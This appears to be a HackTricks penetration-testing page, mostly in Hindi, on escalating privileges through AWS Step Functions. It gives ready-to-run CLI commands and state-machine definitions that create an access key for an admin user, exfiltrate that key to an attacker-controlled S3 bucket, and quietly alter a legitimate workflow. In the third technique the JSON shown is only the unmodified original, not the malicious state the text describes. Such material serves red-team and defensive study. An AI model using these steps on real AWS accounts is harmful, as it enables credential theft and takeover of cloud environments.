AWS - Step Functions Privesc

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Step Functions

For more information about this AWS service, check:

AWS - Step Functions Enum

Task Resources

इन privilege escalation techniques को इच्छित privilege escalation actions करने के लिए कुछ AWS step function resources का उपयोग करना आवश्यक होगा।

सभी संभावित actions की जाँच करने के लिए, आप अपने AWS account में जाकर वह action चुन सकते हैं जिसे आप उपयोग करना चाहते हैं और देख सकते हैं कि यह कौन से parameters का उपयोग कर रहा है, जैसे कि:

या आप API AWS documentation में जाकर प्रत्येक action की docs भी देख सकते हैं:

states:TestState & iam:PassRole

यदि किसी हमलावर के पास states:TestState और iam:PassRole permissions हों, तो वह किसी भी state को test कर सकता है और किसी भी IAM role को उसे पास कर सकता है, बिना किसी मौजूदा state machine को create या update किए हुए, जो संभावित रूप से roles की permissions के साथ अन्य AWS services तक unauthorized access की अनुमति दे सकता है। इन permissions के संयोजन से व्यापक unauthorized actions हो सकते हैं — जैसे workflows को manipulate करना, data बदलना, data breaches, resource manipulation, और privilege escalation।

aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

निम्न उदाहरण दिखाते हैं कि कैसे एक state का परीक्षण करें जो इन अनुमतियों और AWS पर्यावरण की एक permissive role का उपयोग करके admin उपयोगकर्ता के लिए एक access key बनाती है। इस permissive role के साथ कोई भी उच्च-प्रिविलेज्ड नीति जुड़ी होनी चाहिए (उदाहरण के लिए arn:aws:iam::aws:policy/AdministratorAccess) जो state को iam:CreateAccessKey क्रिया को निष्पादित करने की अनुमति दे:

  • stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • Command privesc को निष्पादित करने हेतु चलाया गया:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Potential Impact: वर्कफ़्लो का अनधिकृत निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक पहुँच, जो संभावित रूप से गंभीर सुरक्षा उल्लंघनों का कारण बन सकती है।

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

एक attacker जिसके पास states:CreateStateMachine और iam:PassRole होंगे, वह एक स्टेट मशीन बना सकता है और उसमें किसी भी IAM role को असाइन कर सकता है, जिससे उस role की permissions के साथ अन्य AWS सेवाओं तक अनधिकृत पहुँच सक्षम हो जाती है। पिछले privesc technique (states:TestState & iam:PassRole) के विपरीत, यह स्वयं स्वयं निष्पादित नहीं होता; स्टेट मशीन पर execution शुरू करने के लिए आपके पास states:StartExecution या states:StartSyncExecution permissions भी होने चाहिए। (states:StartSyncExecution standard workflows के लिए उपलब्ध नहीं है, यह केवल express state machines के लिए है।)

# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

निम्न उदाहरण दिखाते हैं कि कैसे एक state machine बनाई जाए जो admin उपयोगकर्ता के लिए एक access key बनाती है और exfiltrates this access key to an attacker-controlled S3 bucket, इन permissions और AWS environment के एक permissive role का उपयोग करते हुए। यह permissive role किसी भी high-privileged policy के साथ जुड़ा होना चाहिए (उदाहरण के लिए arn:aws:iam::aws:policy/AdministratorAccess) जो state machine को iam:CreateAccessKey और s3:putObject actions करने की अनुमति देता हो।

  • stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • कमांड को state machine बनाने के लिए निष्पादित किया गया:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • Command पहले बनाए गए state machine का execution शुरू करने के लिए चलाया गया:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

Warning

The attacker-controlled S3 bucket को victim account से s3:PutObject action स्वीकार करने की permissions होनी चाहिए।

Potential Impact: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक पहुँच, जो संभावित रूप से गंभीर सुरक्षा उल्लंघनों का कारण बन सकती है।

states:UpdateStateMachine & (हर बार आवश्यक नहीं) iam:PassRole

जिस attacker के पास states:UpdateStateMachine permission होगा, वह state machine की definition को modify कर सकता है, और अतिरिक्त stealthy states जोड़ सकता है जो privilege escalation में समाप्त हो सकती हैं। इस तरह, जब कोई legitimate user state machine का execution शुरू करेगा, तो यह नया malicious stealth state execute होगा और privilege escalation सफल हो जाएगी।

state machine से जुड़े IAM Role की permissiveness पर निर्भर करते हुए, attacker को दो स्थितियों का सामना करना पड़ेगा:

  1. Permissive IAM Role: यदि state machine से जुड़ा IAM Role पहले से permissive है (उदाहरण के लिए इसमें arn:aws:iam::aws:policy/AdministratorAccess policy जुड़ा हुआ है), तो privileges escalate करने के लिए iam:PassRole permission की आवश्यकता नहीं होगी क्योंकि IAM Role को अपडेट करना आवश्यक नहीं होगा — केवल state machine की definition बदलना पर्याप्त होगा।
  2. Not permissive IAM Role: पिछले मामले के विपरीत, यहाँ attacker को iam:PassRole permission भी चाहिए होगी क्योंकि state machine definition में बदलाव करने के अलावा एक permissive IAM Role को state machine से associate करना भी आवश्यक होगा।
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक वैध state machine जो केवल HelloWorld Lambda function को invoke करती है, उसे अपडेट करके एक अतिरिक्त state जोड़ा जाए जो user unprivilegedUser को administrator IAM Group में जोड़ दे। इस तरह, जब कोई वैध उपयोगकर्ता अपडेट की गई state machine का execution शुरू करेगा, तो यह नया malicious stealth state निष्पादित होगा और privilege escalation सफल हो जाएगा।

Warning

यदि state machine के साथ कोई permissive IAM Role संबंधित नहीं है, तो permissive IAM Role को associate करने के लिए IAM Role को अपडेट करते समय iam:PassRole permission भी आवश्यक होगा (उदाहरण के लिए ऐसा IAM Role जिस पर arn:aws:iam::aws:policy/AdministratorAccess policy संलग्न हो)।

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • Command का उपयोग कर legit state machine को update किया गया:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

संभावित प्रभाव: वर्कफ़्लो का अनधिकृत निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक अनधिकृत पहुँच, जो संभावित रूप से गंभीर सुरक्षा उल्लंघनों का कारण बन सकती है।

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें